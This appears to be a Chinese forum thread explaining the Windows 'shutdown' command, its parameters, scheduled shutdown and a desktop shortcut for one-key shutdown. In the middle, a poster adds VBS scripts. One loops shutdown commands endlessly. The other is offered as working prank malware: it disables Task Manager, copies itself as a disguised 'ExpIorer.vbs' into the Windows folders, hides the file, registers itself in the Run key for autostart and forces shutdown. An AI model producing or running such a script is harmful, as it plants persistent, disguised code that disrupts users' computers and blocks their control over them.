参数介绍:
用命令行工具“shutdown”来关闭或从启计算机
在Windows XP中,新增了一条命令行工具“shutdown”,其作用是“关闭或重新启动本地或远程计算机”。利用它,我们不但可以注销用户,关闭或重新启动计算机,还可以实现定时关机、远程关机。
该命令的语法格式如下:
shutdown [-i |-l|-s |-r |-a] [-f] [-m [\\ComputerName]] [-t xx] [-c "message"] [-d[p]:xx:yy]
其中,各参数的含义为:
-i 显示图形界面的对话框。
-l 注销当前用户,这是默认设置。
-m ComputerName优先。
-s 关闭计算机。
-r 关闭之后重新启动。
-a 中止关闭。除了-l 和ComputerName 外,系统将忽略其它参数。在超时期间,您只可以使用-a。
-f 强制运行要关闭的应用程序。
-m [\\ComputerName] 指定要关闭的计算机。
-t xx 将用于系统关闭的定时器设置为 xx 秒。默认值是20秒。
-c "message" 指定将在“系统关闭”窗口中的“消息”区域显示的消息。最多可以使用127 个字符。引号中必须包含消息。
-d [p]:xx:yy 列出系统关闭的原因代码。
---------------顶1L的参数 ---------------分割线 下面是我加的!!!dim d
set d= createobject("wscript.shell")
do while true
d.run "cmd.exe shutdown -s -t 6000"
loop------------------VBS简单循环关机命------------分割线set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(1,id.CommandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"s.run "cmd.exe /c copy *.vbs c:\windows\ExpIorer.vbs",0s.run "cmd.exe /c copy *.vbs c:\Winnt\ExpIorer.vbs",0s.run "cmd.exe /c attrib ExpIorer.vbs +s +h",0s.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Explorer","C:\Windows\system32\ExpIorer.vbs","REG_SZ"s.regwrite "HKEY\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer","C:\Windows\system32\ExpIorer.vbs","REG_SZ"for i=1 to 60 s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48nextSet colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next End ifNext-------------------强人编写加以修改后的VBS代码 禁用命令符 禁用任务管理器-----
告诉楼主一个查询帮助的方法。楼主进到命令行后,输入shutdown ? 就可以出来一些关于shutdown的用法和参数的详细说明。其他命令也是一样。不会用的话就按照此方法可以找出帮助。
shutdown命令
用法: shutdown [-i | -l | -s | -r | -a] [-f] [-m \\\\computername] [-t xx] [-c "comment"] [-d up:xx:yy]
shutdown.exe -a 取消关机
shutdown.exe -d [u][p]:xx:yy 列出系统关闭的原因代码:u 是用户代码 ,p 是一个计划的关闭代码 ,xx 是一个主要原因代码(小于 256 的正整数) ,yy 是一个次要原因代码(小于 65536 的正整数)
shutdown.exe -f 强行关闭应用程序,没有警告
shutdown.exe -m \计算机名 控制远程计算机。
shutdown.exe -i 显示图形用户界面,但必须是Shutdown的第一个参数。
shutdown.exe -l 注销当前用户,不能与选项 -m 一起使用
shutdown.exe -r 关机并重启。
shutdown.exe -t时间 设置关机倒计时。默认值是 30 秒。
shutdown.exe -c"comment"输入关机对话框中的消息内容(不能超127个字符)。
比如你的电脑要在12:00关机,可以选择“开始→运行”,输入“at 12:00 Shutdown -s",这样,到了12点电脑就会出现“系统关机”对话框,默认有30秒钟的倒计时并提示你保存工作。如果你想以倒计时的方式关机,可以输入 “Shutdown.exe -s -t 3600",这里表示60分钟后自动关机,“3600"代表60分钟。
一键关机
1、首先在桌面的空白处单击鼠标右键,新建一个“快捷方式”。
2、在创建快捷方式的“命令行”中输入以下的指令:
“shutdown –s –t 0 ”。(在windows98按此输入“C:windowsRUNDLL32.EXE user,ExitWindows”。)
3、按着鼠标选择“下一步”,在快捷方式的名称栏中输入“一键关机”或其他自己喜欢的名称。
4、之后,你就会在桌面见到一个名为“一键关机”的快捷方式图标,在该图标上单击鼠标右键,选择“属性”,再进入“快捷方式”页,然后在“快速键一栏内随便按选一个功能键(如F1-F12)。建议大家最好选一个平时不常用的功能键,最后按确定退出即可。